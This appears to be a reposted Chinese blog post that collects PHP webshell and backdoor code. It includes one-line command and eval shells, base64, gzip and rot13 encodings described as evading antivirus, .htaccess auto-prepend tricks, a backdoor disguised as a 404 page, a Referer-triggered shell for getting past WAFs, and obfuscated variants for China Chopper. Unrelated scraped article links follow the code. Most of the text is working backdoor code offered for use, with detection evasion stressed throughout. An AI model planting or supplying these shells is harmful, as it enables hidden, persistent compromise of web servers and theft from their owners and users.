说起php后门***我就心有愉季啊前不久一个站就因不小心给人注入了然后写入了小***这样结果大家知道的我就不说了下面我来给大家收集了各种php后门***做法大家可参考。

php后门***对大家来说一点都不陌生吧但是它的种类您又知多少呢
本文为您浅析说明一些php后门***常用的函数。

php后门***常用的函数大致上可分为四种类型

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:

system 函数

//test.php?cmd=ls
system($_GET[cmd]);

passthru 函数

//test.php?cmd=ls
passthru($_GET[cmd]);

shell_exec 函数

//test.php?cmd=ls
echo shell_exec($_GET[cmd]);

exec 函数

//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);

popen 函数

//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);

proc_open 函数

//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"n"));
print_r($output);

2. 代码执行与加密:

eval 函数

//最常见的一句话***
eval_r($_POST[cmd]);

base64_decode 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST[cmd]);
eval_r(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数
assert($_POST[cmd]);

call_user_func 函数

//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);

call_user_func 函数

//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码

//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);

3. 文件包含与生成:

require 函数

//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);

require_once 函数

//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);

include 函数

//包含任意文件
//test.php?file=123.jpg
include($_GET[file]);

include_once 函数

//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);

file_get_contents 函数

//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门***

SetHandler application/x-httpd-php

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门***
//可在不更改站点源代码的情况下记录所有$_REQUEST的值也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门***
php_value auto_append_file c:/apache2/htdocs/123.gif

利用404页面隐藏PHP小马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?> 
404页面是网站常用的文件一般建议好后很少有人会去对它进行检查修改这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace(''a'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION['theCode']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode']然后执行$_SESSION['theCode']亮点是没有特征码。用扫描工具来检查代码的话是不会报警的达到目的了。

超级隐蔽的PHP后门

<?php $_GET[a]($_GET[b]);?> 
仅用GET函数就构成了***

利用方法

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%    29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 
执行后当前目录生成c.php一句话***当传参a为eval时会报错***生成失败为assert时同样报错但会生成***真可谓不可小视简简单单的一句话被延伸到这般应用。

层级请求编码运行PHP后门
此方法用两个文件实现文件1

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));

文件2

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch); 
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码来达到后门的效果一般waf对referer这些检测要松一点或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件可用于模拟一个类似于telnet的连接shellweevely通常用于web程序的漏洞利用隐藏后门或者使用类似telnet的方式来代替web 页面式的管理weevely生成的服务器端php代码是经过了base64编码的所以可以骗过主流的杀毒软件和IDS上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术后门中所使用的函数均是常用的字符串处理函数被作为检查规则的evalsystem等函数都不会直接出现在代码中从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描结果显示该文件无任何威胁。

以上是大概介绍下边是截图相关使用方法亦家就不在这介绍了简单的科普一下。

三个变形的一句话PHP***
第一个

<?php ($_=@$_GET[2]).@$_($_POST[1])?> 
在菜刀里写http://site/1.php?2=assert密码是1

第二个

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?> 
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。
如果你用菜刀的附加数据的话更隐蔽或者用其它注射工具也可以因为是post提交的。

第三个

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 
str_rot13('riny')即编码后的eval完全避开了关键字又不失效果让人吐血

.htaccess做PHP后门
这个其实在2007年的时候作者GaRY就爆出了只是后边没人关注这个利用关键点在于一句话

AddType application/x-httpd-php .htaccess
###### SHELL ###### 这里写上你的后门吧###### LLEHS ###### 
最后列几个高级的PHP一句话***后门

1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数直接编译任何文件为php格式运行POST www.xxx.com/index.php?uid=/home/www/bbs/p_w_picpath.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST[c]);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话 
综上这些PHP一句话后门可谓五脏俱全一不小心您肯定中招了而我们今天这篇文章的重中之重在哪呢重点就在下边的总结!

PHP后门***详解的更多相关文章

  1. [转帖]基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解

    基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解 不明觉厉 只要是人做的东西 就会有bug 就会有安全问题 就看发现bug 或者是发现安全问题 有没有收益了 会用linux的都是比较熟 ...

  2. linux查看端口及端口详解

    今天现场查看了TCP端口的占用情况,如下图   红色部分是IP,现场那边问我是不是我的程序占用了tcp的链接,,我远程登陆现场查看了一下,这种类型的tcp链接占用了400多个,,后边查了一下资料,说E ...

  3. 转载~kxcfzyk:Linux C语言多线程库Pthread中条件变量的的正确用法逐步详解

    Linux C语言多线程库Pthread中条件变量的的正确用法逐步详解   多线程c语言linuxsemaphore条件变量 (本文的读者定位是了解Pthread常用多线程API和Pthread互斥锁 ...

  4. windows进程详解

    1:系统必要进程system process    进程文件: [system process] or [system process]进程名称: Windows内存处理系统进程描述: Windows ...

  5. PHP输出缓冲控制- Output Control 函数应用详解

    说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西.举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统是不会向磁盘写入的,而是写到buffer中,当buffer写满 ...

  6. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  7. 前端技术之_CSS详解第四天

    前端技术之_CSS详解第四天 一.第三天的小总结 盒模型box model,什么是盒子? 所有的标签都是盒子.无论是div.span.a都是盒子.图片.表单元素一律看做文本. 盒模型有哪些组成: wi ...

  8. 网络-02-端口号-linux端口详解大全

    端口详解 1 tcpmux TCP Port Service Multiplexer 传输控制协议端口服务多路开关选择器  2 compressnet Management Utility compr ...

  9. spring事务详解(五)总结提高

    系列目录 spring事务详解(一)初探事务 spring事务详解(二)简单样例 spring事务详解(三)源码详解 spring事务详解(四)测试验证 spring事务详解(五)总结提高 一.概念 ...

随机推荐

  1. 初步接触 Java Net 网络编程

    本文目的是大概了解 Java 网络编程体系,需要一点点 Java IO 基础,推荐教程 系统学习 Java IO.主要参考 JavaDoc 和 Jakob Jenkov 的英文教程<Java N ...

  2. 在java项目启动时就执行某操作

    在java启动时大概有四种,此处只介绍3种 1.在启动的方法上使用通过@PostConstruct方法实现初始化bean进行操作 2.通过bean实现InitializingBean接口 @Overr ...

  3. Map集合的4种遍历方式

    import java.util.HashMap;import java.util.Iterator;import java.util.Map; public class TestMap {    p ...

  4. Linux 中文件和文件夹获取 MySQL 权限(SELinux)

    今天在 Linux 系统上移动 MySQL 的数据库目录 配置如下: /etc/my.cnf [mysqld]datadir=/home/mysqlsocket=/var/lib/mysql/mysq ...

  5. 对比Hashtable,HashMap,TreeMap,谈谈对HashMap的理解

    都实现了Map接口,存储的内容是基于key-value的键值对映射,一个映射不能有重复的键,一个键最多只能映射一个值. 1.初始化的时候:HashTable在不指定容量的情况下的默认容量是11,且不要 ...

  6. git简介 http://msysgit.github.io/

    集中式vs分布式 Linus一直痛恨的CVS及SVN都是集中式的版本控制系统,而Git是分布式版本控制系统,集中式和分布式版本控制系统有什么区别呢? 先说集中式版本控制系统,版本库是集中存放在中央服务 ...

  7. c++指针经典题目分析

    首先看一下题目,下列程序会在那一行崩溃,程序如下: #include<iostream> using namespace std; struct S{ int i; int *p; }; ...

  8. c++学习书籍推荐《C++ GUI Qt 4编程(第2版)》下载

    下载地址:点我 百度云及其他网盘下载地址:点我 编辑推荐 <C++ GUI Qt 4编程(第2版)>讲授的大量Qt4编程原理和实践,都可以轻易将其应用于Qt4.4.Qt4.5及后续版本的Q ...

  9. 1. Python 魔法方法

    Python 魔法方法 基础: 如果你想... 所以,你写... Python调用... 初始化一个实例 x = MyClass() x.__init__() 作为一个字符串的"官方&quo ...

  10. Python中字符串常见操作

    (1)find 查找 格式:mystr.find(str, start, end) 例如: mystr.find(str, start=0, end=len(mystr)) 作用:检测str是否包含在 ...